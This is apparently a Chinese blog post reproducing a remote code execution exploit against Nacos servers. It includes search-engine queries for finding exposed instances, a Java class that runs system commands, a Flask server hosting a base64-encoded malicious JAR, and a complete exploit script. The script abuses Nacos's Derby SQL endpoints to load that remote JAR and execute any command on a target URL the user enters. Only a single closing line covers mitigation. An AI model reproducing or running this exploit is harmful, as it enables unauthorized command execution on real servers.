Nacos最新0day漏洞复现_nacos 0day

目录

一、漏洞原理

二、版本信息

三、资产测绘

四、poc信息

五、总结

---

一、漏洞原理

   漏洞的核心在于 Nacos 的某些接口没有严格的权限控制，攻击者可以通过特制的请求向 Nacos 服务器发送恶意数据，从而执行任意代码。下载nacos代码搭建环境https://github.com/ayoundzw/nacos-poc这次漏洞 需要登录到后才才能利用漏洞涉及到 Nacos 在处理反序列化数据时的缺陷，攻击者能够通过特定的 JSON 数据结构，远程执行恶意代码。以利用该漏洞读取敏感文件、执行系统命令。

启动nacos:

D:\nacos\bin>startup.cmd -m standalone

二、版本信息

目前据说版本是2.32-2.40版本

三、资产测绘

fofa： app="NACOS"

quake: app:"NACOS"

四、poc信息

利用工具：

GitHub - ayoundzw/nacos-poc

构造恶意类：

package test.poc;
 
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.io.StringWriter;
 
public class Example {
    public Example() {
    }
 
    public static void main(String[] args) {
        String ret = exec("ipconfig");
        System.out.println(ret);
    }
 
    public static String exec(String cmd) {
        StringBuffer bf = new StringBuffer();
 
        try {
            String charset = "utf-8";
            String osName = System.getProperty("os.name");
            if (osName != null && osName.startsWith("Windows")) {
                charset = "gbk";
            }
 
            Process p = Runtime.getRuntime().exec(cmd);
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis, charset);
            BufferedReader br = new BufferedReader(isr);
            String line = null;
 
            while((line = br.readLine()) != null) {
                bf.append(line);
            }
        } catch (Exception var10) {
            StringWriter writer = new StringWriter();
            PrintWriter printer = new PrintWriter(writer);
            var10.printStackTrace(printer);
 
            try {
                writer.close();
                printer.close();
            } catch (IOException var9) {
            }
 
            return "ERROR:" + writer.toString();
        }
 
        return bf.toString();
    }
}

启动恶意服务端：python server.py，把上面的恶意类通过b64压缩处理，加载在flask服务端当作服务器资源：

###python server.py
import base64
from flask import Flask, send_file,Response
import config
 
server_host = '127.0.0.1'
server_port = 5000
##java恶意数据：
payload = b'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'
 
app = Flask(__name__)
 
 
@app.route('/download')
def download_file():
    data = base64.b64decode(payload)
    response = Response(data, mimetype="application/octet-stream")
    # response.headers["Content-Disposition"] = "attachment; filename=file.bin"
    return response
 
if __name__ == '__main__':
    app.run(host=server_host, port=server_port)

利用：python exploit.py

利用：python exploit.py
import random
import sys
import requests
from urllib.parse import urljoin
import config
 
   
 
def exploit(target, command, service):
    removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0,sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command);
        get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        #get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url,files=files)
        post_json = post_resp.json()
        if post_json.get('message',None) is None and post_json.get('data',None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url,params={'sql':get_sql})
            print(get_resp.text)
            break
 
 
if __name__ == '__main__':
    service = 'http://{host}:{port}/download'.format(host=config.server_host,port=config.server_port)
    target = 'http://127.0.0.1:8848'
    command = 'calc'
    target = input('请输入目录URL，默认：http://127.0.0.1:8848：') or target
    command = input('请输入命令，默认：calc：') or command
    exploit(target=target, command=command,service=service)

命令执行：

五、总结

这个漏洞其实就是加载远程的service.py放置的远程jar包，并使用Derby数据库中的执行命令去执行jar包中的命令，暂时缓解方法就是设置好认证策略和方法，修复未授权漏洞，毕竟需要登录之后才能利用。